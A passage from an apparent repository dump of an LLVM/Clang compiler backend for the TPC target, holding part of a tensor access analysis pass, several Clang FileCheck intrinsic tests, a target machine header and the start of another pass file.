(iterateProcessedPHI(PHI)) {\n // Check for tensor ID in diffcoords\n if (CheckIfNodeProcessed && !CopyPHI)\n return;\n } else\n addToProcessedPHI(PHI);\n while (Nested_Ins) {\n Nested_Ins = false;\n for (const Use &RootInstUse : RootInst->uses()) {\n User *RootInstUser = RootInstUse.getUser();\n if (auto *InsertUserCast = dyn_cast<InsertElementInst>(RootInstUser)) {\n processInsertElementNode(InsertUserCast, CurrLoop, PHI, TensorId);\n RootInst = InsertUserCast;\n Nested_Ins = true;\n break;\n } else if (auto *Intrins = dyn_cast<IntrinsicInst>(RootInstUser)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n int index = -1;\n if (Inid == Intrinsic::tpc_add_mask ||\n Inid == Intrinsic::tpc_set_indx) {\n if (Inid == Intrinsic::tpc_add_mask) {\n\n int OperandIndex = 2;\n if (dyn_cast<llvm::ConstantInt>(\n Intrins->getOperand(OperandIndex))) {\n if (dyn_cast<Instruction>(Intrins->getOperand(6))) {\n if (!dyn_cast<ICmpInst>(Intrins->getOperand(6)))\n FallBackVec.insert(TensorId);\n else {\n if (auto *Icmp = dyn_cast<ICmpInst>(Intrins->getOperand(6)))\n if (!dyn_cast<ConstantInt>(Icmp->getOperand(1)))\n FallBackVec.insert(TensorId);\n }\n }\n index =\n dyn_cast<llvm::ConstantInt>(Intrins->getOperand(OperandIndex))\n ->getZExtValue();\n CurrLoop = compareStepValuesForAddMask(PHI, CurrLoop);\n int64_t AddMaskStep = getAddMaskStepVar(Intrins);\n if (AddMaskStep != INVALID_STRIDE) {\n unsigned Count = fetchIndexFromOperand(index);\n unsigned UnrollCount = 0;\n if (getScevInfo(CurrLoop)) {\n UnrollCount =\n getScevInfo(CurrLoop)->getLoopUnrollCount(CurrLoop);\n }\n if (UnrollCount)\n AddMaskStep = AddMaskStep * UnrollCount;\n UpdateDiffCoords(TensorId, Count, AddMaskStep, \"\", CurrLoop,\n PHI);\n if ((1 << Count) < index) {\n auto Remaining = fetchIndexFromOperand(index - (1 << Count));\n UpdateDiffCoords(TensorId, Remaining, AddMaskStep, \"\",\n CurrLoop, PHI);\n }\n prepareLoopIvCoordMap(TensorId, nullptr, Count);\n RootInst = Intrins;\n Nested_Ins = true;\n break;\n }\n } else {\n IncorrectIndexSpace = true;\n return;\n }\n\n if (dyn_cast<llvm::ConstantInt>(Intrins->getOperand(2))) {\n index = dyn_cast<llvm::ConstantInt>(Intrins->getOperand(2))\n ->getZExtValue();\n }\n } else if (Inid == Intrinsic::tpc_set_indx) {\n processSetIndexNode(TensorId, CurrLoop, PHI, F, Intrins);\n RootInst = Intrins;\n Nested_Ins = true;\n continue;\n }\n RootInst = Intrins;\n Nested_Ins = true;\n unsigned Count = fetchIndexFromOperand(index);\n prepareLoopIvCoordMap(TensorId, CurrLoop, Count);\n break;\n }\n } else if (auto *PHIPtr = dyn_cast<PHINode>(RootInstUser)) {\n // check depth. If the edge traces to some other loop depth, dont\n // process\n Loop *LoopPtr1 = LI->getLoopFor(PHIPtr->getParent());\n Loop *LoopPtr2 = LI->getLoopFor(PHI->getParent());\n if (LoopPtr1 && LoopPtr2) {\n int InDepth1 = LoopPtr1->getLoopDepth();\n int InDepth2 = LoopPtr2->getLoopDepth();\n if (!iterateProcessedPHI(PHIPtr) && InDepth1 == InDepth2) {\n RootInst = PHIPtr;\n Nested_Ins = true;\n addToProcessedPHI(PHIPtr);\n PHI = PHIPtr;\n break;\n }\n }\n }\n }\n }\n}\n\nvoid SCEVInfo::dump() const {\n if (!SCEVPtr) {\n llvm::dbgs() << \"Not a valid SCEV Node\"\n << \"\\n\";\n return;\n }\n llvm::dbgs() << \"Loop Name --> \" << L->getName().str() << \"\\n\";\n llvm::dbgs() << \"Loop Depth --> \" << L->getLoopDepth() << \"\\n\";\n llvm::dbgs() << \"ScevValue --> \"\n << \"\\n\";\n SCEVPtr->print(llvm::dbgs());\n llvm::dbgs() << \"\\n\";\n llvm::dbgs() << \"ScevStep --> \"\n << \"\\n\";\n llvm::dbgs() << getSCEVStep();\n llvm::dbgs() << \"\\n\";\n}\n\nvoid TensorAccessAnalysis::updateCoordFactor(unsigned int TensorID,\n unsigned int DimIndex,\n int DimFactor,\n std::string DimFormula, Loop *L) {\n if (L != nullptr) {\n prepareLoopIvCoordMap(TensorID, L, DimIndex, DimFormula);\n } else {\n // No loops available just update the coords\n DiffCoords.insert({TensorID, std::make_tuple(DimIndex, DimFactor,\n DimFormula, L, nullptr)});\n prepareLoopIvCoordMap(TensorID, nullptr, DimIndex, DimFormula);\n }\n}\n" }, { "alpha_fraction": 0.4791666567325592, "alphanum_fraction": 0.5361111164093018, "avg_line_length": 31.727272033691406, "blob_id": "0e193745f1bc4a6745f8b4da1fdd42222c6f3fae", "content_id": "ca5f3d3401124c7909066d13a645aa339e6bffff", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 720, "license_type": "permissive", "max_line_length": 106, "num_lines": 22, "path": "/clang/test/RC99/IntrinsicsL/s_mov_irf_dim_i.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\nvoid main(int dest, _Bool pred) {\n int __local *dptr = (int __local *) dest;\n int src0 = *dptr++;\n int src1 = *dptr++;\n int src2 = *dptr++;\n int src3 = *dptr++;\n int src4 = *dptr++;\n int5 indx = { src0, src1, src2, src3, src4 };\n \n int res = *dptr++;\n res = s_i32_mov_irf_dim_i_b(indx, res, 1, pred, 0);\n *dptr++ = res;\n// CHECK: mov_irf_dim 0x1 %S{{[0-9]+}}, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n indx[3] = *dptr++;\n res = s_i32_mov_irf_dim_i(indx, 2);\n *dptr++ = res;\n// CHECK: mov_irf_dim 0x2 %S{{[0-9]+}}, %I{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5245347023010254, "alphanum_fraction": 0.6514382362365723, "avg_line_length": 48.25, "blob_id": "493bdb6b6e1e9c2694f9e2e1b494b7aa15efe154", "content_id": "75ca227b2c705d9abf22fab4555941c70b3db91c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 591, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float128_to_ushort128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float128 *sptr = (float128 *)src;\n ushort128 *dptr = (ushort128 *)dest;\n float128 src_val = *sptr;\n *dptr++ = convert_float128_to_ushort128(src_val, SW_RZ);\n *dptr = convert_float128_to_ushort128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <128 x float> {{.*}} to <128 x i16>\n// CHECK-IR: call <128 x i16> @llvm.tpc.convert.v128i16.v128f32.i1(<128 x float> {{.*}}, i8 0, i32 198656, <128 x i16> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5127860307693481, "alphanum_fraction": 0.5726783275604248, "avg_line_length": 32.75, "blob_id": "596db02ce4e1adb669405fdf7503ac184532c859", "content_id": "f744f46908475cf28ec10ee6f87497a8fd41fbf6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1486, "license_type": "permissive", "max_line_length": 135, "num_lines": 44, "path": "/clang/test/RC99/Intrinsics/s_convert_i16_to_i8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GEN2P %s\n\n\nvoid main(int dest, int x, int shift, _Bool pred) {\n volatile char __local *dest_ptr = (char __local *)dest;\n char income = *dest_ptr;\n\n// CHECK: mov{{.*}} [[PRED:%SP[0-9]+]], %S3\n// CHECK: ld_l [[DEST:%S[0-9]+]], %S0\n\n // s_convert_i16_to_i8\n char res = income;\n \n res = s_convert_int16_to_i8(x, shift, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 rhne [[DEST]], %S1, %S2, [[PRED]]\n \n res = s_convert_int16_to_i8(x, 4, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 rhne [[DEST]], %S1, 0x4, [[PRED]]\n \n res = s_convert_int16_to_i8(x, 4, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 rhne [[DEST]], %S1, 0x4, [[PRED]]\n \n res = s_convert_int16_to_i8(x, 4, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 rd [[DEST]], %S1, 0x4, [[PRED]]\n \n res = s_convert_int16_to_i8(x, 4, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 ru [[DEST]], %S1, 0x4, [[PRED]]\n \n res = s_convert_int16_to_i8(x, 4, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int16 sr [[DEST]], %S1, 0x4, [[PRED]]\n\n#if defined(__gaudi__)\n res = s_convert_int16_to_i8(x, 4, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n// GEN2P: convert_int16 rz [[DEST]], %S1, 0x4, [[PRED]]\n#endif\n}\n\n" }, { "alpha_fraction": 0.6325459480285645, "alphanum_fraction": 0.6482939720153809, "avg_line_length": 30.75, "blob_id": "ab0d81d64848df20aa95f006356e6e585709f2bd", "content_id": "3c752fe359f60dba86a8ee3de52deccf4412d127", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 381, "license_type": "permissive", "max_line_length": 113, "num_lines": 12, "path": "/clang/test/RC99/always_inline-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -main-function entry -ast-dump %s | FileCheck %s\nint main(int x) {\n return x + 2;\n}\n// CHECK-LABEL: FunctionDecl {{.*}} main 'int (int)'\n// CHECK: AlwaysInlineAttr {{.*}} Implicit always_inline\n\nvoid entry() {\n int y = main(12);\n}\n// CHECK-LABEL: FunctionDecl {{.*}} entry 'void ()'\n// CHECK-NOT: AlwaysInlineAttr\n" }, { "alpha_fraction": 0.5036496520042419, "alphanum_fraction": 0.563503623008728, "avg_line_length": 27.54166603088379, "blob_id": "af35c1cdb933e51461fe80441a90042e541c32d6", "content_id": "d88c46ccfb685f35c96ab2b3b0c520dd13649f59", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 685, "license_type": "permissive", "max_line_length": 105, "num_lines": 24, "path": "/clang/test/RC99/localizer/resolver-08.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nint gval[10] = { 0 };\n\nvoid main(int x) {\n *(int __local *)x = gval[0];\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store [10 x i32] zeroinitializer, [10 x i32] addrspace(1)* null\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 40}\n// CHECK: ![[VSZ]] = !{i32 0}\n\n\n// Initialization of global variable\n//\n// CHECK-ASM: mov.i32 [[REGS:%S[0-9]+]], 0\n// CHECK-ASM: st_l 0x0, [[REGS]]\n" }, { "alpha_fraction": 0.33640167117118835, "alphanum_fraction": 0.4471966624259949, "avg_line_length": 30.951871871948242, "blob_id": "fdbbf71521e426d0a0bf679ac506650202f10c15", "content_id": "87a84504bb50896f465b21827d63efe906fb2763", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5975, "license_type": "permissive", "max_line_length": 82, "num_lines": 187, "path": "/clang/test/RC99/Intrinsics/v_u16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, unsigned short xs, int dest, _Bool pred, int vpreda) {\n ushort128 __local *x0ptr = (ushort128 __local *)x0a;\n ushort128 __local *x1ptr = (ushort128 __local *)x1a;\n uint128 __local *dptr = (uint128 __local *)dest;\n bool128 __local *vpptr = (bool128 __local *)vpreda;\n uint128 res = { 0 };\n ushort128 x0 = *x0ptr;\n ushort128 x1 = *x1ptr;\n bool128 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_u16_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u16_mac_b(x0, x1, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u16_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_u16_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, x1, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_u16_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_u16_mac_b(x0, xs, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_u16_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_u16_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, xs, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_u16_mac_b(x0, 123, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_u16_mac_b(x0, 123, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_u16_mac_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_u16_mac_b(x0, 123, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, 123, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_u16_mac_vb(x0, 123, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n bool256 vpred_c = from_bool128(vpred);\n\n // Vector + Vector\n\n res = av_u16_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_u16_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_u16_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = av_u16_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = av_u16_mac_v_v_vb(x0, x1, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = av_u16_mac_v_v_vb(x0, x1, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = av_u16_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_u16_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_u16_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = av_u16_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = av_u16_mac_v_s_vb(x0, xs, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = av_u16_mac_v_s_vb(x0, xs, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = av_u16_mac_v_s(x0, 123, res, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_u16_mac_v_s(x0, 123, res, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = av_u16_mac_v_s_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = av_u16_mac_v_s_b(x0, 123, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = av_u16_mac_v_s_vb(x0, 123, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = av_u16_mac_v_s_vb(x0, 123, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.u16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.4857819974422455, "alphanum_fraction": 0.5521327257156372, "avg_line_length": 34.16666793823242, "blob_id": "115cc37e517e01fa5c4535c99fbfadc5e53da629", "content_id": "fda9bb211e2c2bebb00db63f3a788ce7460a6d3c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 422, "license_type": "permissive", "max_line_length": 104, "num_lines": 12, "path": "/clang/test/RC99/driver/tpc-asm-check.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -c --target=tpc -march=dali -mllvm -tpc-asm-format=3 %s -S -o - 2>&1 | FileCheck %s\n\nvoid main(tensor tensor0, int src,int dst1,int dst2) {\n int5 offset = {0,0,0,0,0};\n\n int storeCoord[5] = { 0, 1, 2, 3, 4 };\n int a = storeCoord[src];\n __global__ void* addr = a_gen_addr_i(offset, tensor0);\n i32_st_g_a_s_b(addr, a,1,0);\n\n}\n//CHECK: ld_l S{{[0-9]+}}, S{{[0-9]+}}, SP0; nop; nop; nop\n" }, { "alpha_fraction": 0.5726643800735474, "alphanum_fraction": 0.6505190134048462, "avg_line_length": 37.53333282470703, "blob_id": "f9d3cac6a71bbcbadf9fc9131137c71f62f2821a", "content_id": "8906fc0b16244ba032427550925e9a5d96b877dc", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 578, "license_type": "permissive", "max_line_length": 126, "num_lines": 15, "path": "/clang/test/RC99/disableTest/.disableTest/driver/lut-warn/gaudi/disable-lut-warn.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -march=gaudi -disable-lut-warn -S 2>&1 | FileCheck %s -allow-empty\n\nvoid main(int x0, int x3, int dest0)\n{\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 temp_res0 = 0;\n temp_res0 = v_f32_lookup_1c_v_b(*ptr_x0, temp_res0, 1, e_fp32_tanh, x3, 0);\n temp_res0 = v_f32_lookup_1c_v_b(*ptr_x0, temp_res0, 1, e_fp32_rsqrt, x3, 0);\n *res0 = temp_res0;\n}\n\n//CHECK-NOT: Performance warning: encountered special function IDs from different interval groups, this will cause LUT misses.\n" }, { "alpha_fraction": 0.7514910697937012, "alphanum_fraction": 0.752733588218689, "avg_line_length": 32.81512451171875, "blob_id": "6a0672465d65923c2d77bcc5fbf1937b8169044a", "content_id": "15f2005e153b5ca5741eacc4260ef1a5d1fca362", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4024, "license_type": "permissive", "max_line_length": 89, "num_lines": 119, "path": "/llvm/lib/Target/TPC/TPCTargetMachine.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCTargetMachine.h -------------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------------------===//\n#ifndef _TPC_TARGET_MACHINE_H_\n#define _TPC_TARGET_MACHINE_H_\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/IR/DataLayout.h\"\n#include \"llvm/Target/TargetMachine.h\"\n#include \"llvm/ADT/Optional.h\"\n#include \"llvm/ADT/StringMap.h\"\n#include \"llvm/Analysis/LoopPass.h\"\n\nnamespace llvm {\n\nclass Module;\n\nLoopPass *createTpcLoopOptPass();\nvoid initializeTpcLoopOptPass(PassRegistry&);\n\n\nFunctionPass *createScalarToIRFPass(bool FoldCmp);\nvoid initializeScalarToIRFPassPass(PassRegistry &);\n\nModulePass *createGlobalResolver();\nvoid initializeGlobalResolverPass(PassRegistry&);\n\nModulePass *createGlobalizer();\nvoid initializeGlobalizerPass(PassRegistry&);\n\nFunctionPass *createTPCIndexMap();\nvoid initializeTPCIndexMapPass(PassRegistry&);\n\nFunctionPass *createTPCIndexGen();\nvoid initializeTPCIndexGenPass(PassRegistry &);\n\nFunctionPass *createNodePreLegalizer();\nvoid initializeNodePreLegalizerPass(PassRegistry&);\n\nFunctionPass *createTpcCopyElision();\nvoid initializeTpcCopyElisionPass(PassRegistry&);\n\nFunctionPass *createAttributeAdjuster();\nvoid initializeAttributeAdjusterPass(PassRegistry&);\n\nFunctionPass *createPromoteMemoryToRegsPass();\nvoid initializePromoteMemoryToRegsPass(PassRegistry&);\n\nFunctionPass *createTPCTransformIntrinPass();\nFunctionPass *createTPCHardwareLoops();\nFunctionPass *createTPCPipeliner();\nFunctionPass *createTPCPacketizer();\nFunctionPass *createTPCExpandHWRegCopies();\nFunctionPass *createTPCUnHardwareLoops();\nFunctionPass *createTPCSetSpillBase();\nFunctionPass *createTPCSetIndxCoalescer();\nFunctionPass *createTPCPredicateOptimizer();\nFunctionPass *createTPCAddrOpt();\nFunctionPass *createTPCHWWA2();\nFunctionPass *createTPCRegisterBalancer();\nFunctionPass *createTPCRegisterCounter();\nFunctionPass *createTPCElfSpecSet();\nFunctionPass *createTPCLutCacheCounter();\nFunctionPass *createTPCLatencyResolver();\nFunctionPass *createTPCCostModelEmitter();\nFunctionPass *createTPCFMAoptPass();\nFunctionPass *createTPCUnbranchPass();\nFunctionPass *createTPCSelectorPreshaper();\nFunctionPass *createTPCSingleUseScalarOptimizer();\nFunctionPass *createTPCSubregInitElimination();\nFunctionPass *createTPCPipelineRegs();\nFunctionPass *createTPCInstrCompress();\nFunctionPass *createTPCMemorySize();\nFunctionPass *createTPCPreRAHwWorkarounds();\nFunctionPass *createTPCHWWAGeneral();\nFunctionPass *createTPCMovCoalescer();\nFunctionPass *createTPCImmToReg();\nFunctionPass *createTPCScalarSink();\n\nclass TPCTargetMachine : public LLVMTargetMachine {\n std::unique_ptr<TargetLoweringObjectFile> TLOF;\n TPCSubtarget *Subtarget = nullptr;\n mutable StringMap<std::unique_ptr<TPCSubtarget>> SubtargetMap;\n\n TPCSubtarget *createSubtarget(StringRef CPU, StringRef FS) const;\n\npublic:\n TPCTargetMachine(const Target &T, const Triple &TT, StringRef CPU,\n StringRef FS, const TargetOptions &Options,\n Optional<Reloc::Model> RM, Optional<CodeModel::Model> CM,\n CodeGenOpt::Level OL, bool JIT);\n\n ~TPCTargetMachine() override;\n\n const TPCSubtarget *getSubtarget() const { return Subtarget; }\n const TPCSubtarget *getSubtargetImpl(const Function &F) const override;\n\n void adjustPassManager(PassManagerBuilder &) override;\n TargetPassConfig *createPassConfig(PassManagerBase &PM) override;\n\n TargetLoweringObjectFile *getObjFileLowering() const override {\n return TLOF.get();\n }\n\n TargetTransformInfo getTargetTransformInfo(const Function &F) override;\n\n bool usesPhysRegsForPEI() const override { return false; }\n};\n\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.6451300978660583, "alphanum_fraction": 0.651900589466095, "avg_line_length": 40.19123458862305, "blob_id": "c93d4b0f179144d0aa81356ab45698dd94e9fead", "content_id": "e09a5b307412829bdb010806a088cd7c68b9ce39", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10339, "license_type": "permissive", "max_line_length": 117, "num_lines": 251, "path": "/llvm/lib/Target/TPC/TPCHwWaGeneral.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCHwWaGeneral.cpp--------General pass for transformation-----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// author: Michael 